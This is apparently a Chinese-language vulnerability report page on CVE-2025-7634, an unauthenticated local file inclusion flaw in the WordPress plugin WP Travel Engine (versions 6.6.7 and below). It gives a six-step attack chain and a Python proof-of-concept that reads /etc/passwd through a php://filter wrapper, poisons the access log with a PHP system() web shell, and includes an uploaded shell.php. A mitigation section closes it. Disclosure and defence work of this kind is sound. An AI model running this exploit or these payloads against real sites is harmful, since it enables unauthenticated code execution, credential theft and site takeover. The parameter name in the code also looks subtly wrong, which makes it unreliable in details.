IPBUF安全漏洞报告
English
CVE-2025-7634 CVSS 9.8 严重

CVE-2025-7634:WP Travel Engine插件本地文件包含漏洞

披露日期: 2025-10-09

漏洞信息

漏洞编号
CVE-2025-7634
漏洞类型
本地文件包含(LFI)/ 远程代码执行(RCE)
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WP Travel Engine – Tour Booking Plugin – Tour Operator Software(WordPress插件)

相关标签

本地文件包含LFI远程代码执行RCEWordPressWP Travel Engine插件漏洞未认证漏洞高危漏洞CVSS 9.8

漏洞概述

CVE-2025-7634是WordPress热门旅游预订插件WP Travel Engine中存在的一个高危本地文件包含(Local File Inclusion, LFI)漏洞。该漏洞由Wordfence安全团队的安全研究员发现,并于2025年10月9日正式披露。该漏洞的CVSS 3.1评分高达9.8分,属于严重级别,表明其具有极高的利用价值和危害程度。

WP Travel Engine是一款广泛使用的WordPress旅游预订插件,为旅行社和旅游运营商提供在线预订管理功能,拥有大量活跃安装量。该插件在所有6.6.7及以下版本中均存在此漏洞,影响范围广泛。

漏洞的根本原因在于插件对用户可控的`mode`参数缺乏充分的验证和过滤,攻击者可以通过构造特殊的请求,将服务器上的任意.php文件包含到插件的执行流程中。由于PHP的`include`或`require`函数在包含.php文件时会执行其中的代码,攻击者可以在服务器上执行任意PHP代码,从而完全控制受影响的网站。

特别值得关注的是,该漏洞无需任何认证即可利用(PR:N),攻击复杂度低(AC:L),且不需要用户交互(UI:N),这意味着攻击者可以通过自动化工具大规模扫描和利用存在漏洞的网站。一旦被利用,攻击者可以绕过访问控制、获取敏感数据(如数据库凭证、用户信息),甚至完全控制服务器,对网站安全构成严重威胁。

技术细节

该漏洞位于WP Travel Engine插件的Ajax控制器中,具体涉及`FilterTripsHtml.php`和`LoadTripsHtml.php`两个文件。漏洞的产生是由于这两个控制器在处理Ajax请求时,未对用户通过`mode`参数传入的文件路径进行充分的验证和过滤。

从技术实现来看,攻击者可以通过构造一个恶意的Ajax请求,将`mode`参数设置为服务器上任意.php文件的路径。当插件处理该请求时,会使用该参数值作为文件路径进行`include`或`require`操作。由于没有限制文件路径的范围和类型,攻击者可以包含以下类型的文件:

1. **已知路径的PHP文件**:如WordPress主题或插件中已存在的.php文件,通过包含这些文件可能触发特定的代码执行路径。
2. **上传的恶意文件**:如果服务器允许上传.php文件(如通过媒体上传器或其他途径),攻击者可以先上传包含恶意代码的.php文件,然后通过LFI漏洞包含并执行该文件。
3. **日志文件注入**:通过将PHP代码注入到服务器日志文件(如访问日志、错误日志),然后通过LFI漏洞包含日志文件来执行注入的代码。

漏洞的利用条件相对简单:攻击者只需发送一个精心构造的HTTP请求到目标网站的Ajax端点,并附带恶意的`mode`参数即可。由于该漏洞无需认证,攻击者可以在不获取任何凭据的情况下直接利用。

成功利用后,攻击者可以实现以下目标:
- 执行任意PHP代码
- 读取服务器上的敏感文件
- 绕过WordPress的访问控制机制
- 获取数据库凭证和用户信息
- 完全控制受影响的WordPress网站
- 利用Web服务器权限进行横向移动

攻击链分析

STEP 1
步骤1:目标侦察
使用搜索引擎(如Shodan、Censys)或WordPress专用扫描工具(如WPScan)识别运行WP Travel Engine插件的目标网站,确认插件版本是否在6.6.7及以下。
STEP 2
步骤2:漏洞探测
向目标网站的wp-admin/admin-ajax.php端点发送包含恶意mode参数的POST请求,验证LFI漏洞是否存在。例如,使用PHP包装器php://filter读取已知文件。
STEP 3
步骤3:信息收集
利用LFI漏洞读取服务器上的敏感文件,如wp-config.php(获取数据库凭证)、/etc/passwd(系统用户信息)等,为后续攻击做准备。
STEP 4
步骤4:权限提升/代码执行
通过日志投毒(Log Poisoning)或结合文件上传漏洞,将PHP代码注入到可访问的文件中,然后通过LFI漏洞包含并执行,实现远程代码执行。
STEP 5
步骤5:持久化控制
在服务器上植入Web Shell或后门程序,建立持久化访问通道,进一步控制WordPress网站和服务器。
STEP 6
步骤6:数据窃取与破坏
窃取数据库中的用户信息、支付数据等敏感信息,或进行网站篡改、恶意软件分发等破坏活动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-7634 - WP Travel Engine Local File Inclusion PoC # Vulnerability: Unauthenticated LFI via 'mode' parameter in Ajax controllers # Affected: WP Travel Engine <= 6.6.7 import requests TARGET_URL = "http://target-wordpress-site.com" # The vulnerable endpoint is an admin-ajax.php action AJAX_ENDPOINT = f"{TARGET_URL}/wp-admin/admin-ajax.php" def exploit_lfi(target_file): """ Exploit the LFI vulnerability by including arbitrary PHP files via the 'mode' parameter in WP Travel Engine's Ajax controllers. """ # Action 'wp_ajax_wpte_filter_trips' or related action triggers the vulnerable code path payload = { "action": "wp_ajax_wpte_filter_trips", "mode": target_file # Inject arbitrary file path here } response = requests.post(AJAX_ENDPOINT, data=payload) return response.text def exploit_rce_via_log_poisoning(): """ Achieve RCE through log poisoning combined with LFI. Step 1: Inject PHP code into access log via User-Agent header Step 2: Include the access log via the LFI vulnerability """ # Step 1: Poison the access log with PHP code log_poison_url = f"{TARGET_URL}/index.php" headers = { "User-Agent": "<?php system($_GET['cmd']); ?>" } requests.get(log_poison_url, headers=headers) # Step 2: Include the poisoned log file via LFI log_path = "/var/log/apache2/access.log" # Adjust path based on server # Use PHP wrappers to execute commands rce_payload = { "action": "wp_ajax_wpte_filter_trips", "mode": log_path, "cmd": "id" # Command to execute } response = requests.post(AJAX_ENDPOINT, data=rce_payload) return response.text def exploit_rce_via_file_upload(): """ If the site allows PHP file uploads (e.g., via a separate vulnerability), upload a malicious PHP file and include it via LFI. """ # Assume a webshell was uploaded to /wp-content/uploads/shell.php shell_path = "/wp-content/uploads/shell.php" payload = { "action": "wp_ajax_wpte_filter_trips", "mode": shell_path } response = requests.post(AJAX_ENDPOINT, data=payload) return response.text # Example usage: if __name__ == "__main__": # Basic LFI to read /etc/passwd (after wrapping with PHP filter) print("[*] Attempting LFI exploitation...") # Use php://filter to read file contents as base64 result = exploit_lfi("php://filter/convert.base64-encode/resource=/etc/passwd") print(f"Result: {result}") # Or achieve RCE via log poisoning # print("[*] Attempting RCE via log poisoning...") # result = exploit_rce_via_log_poisoning() # print(f"Result: {result}")

影响范围

WP Travel Engine <= 6.6.7

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)通过WordPress管理后台暂时禁用WP Travel Engine插件;2)在Web服务器层面部署WAF规则,阻止包含mode参数的异常Ajax请求;3)监控wp-admin/admin-ajax.php的访问日志,识别可疑的LFI攻击行为;4)限制Web服务器用户对敏感目录和文件的访问权限;5)检查网站是否已被入侵,查找可疑的Web Shell文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表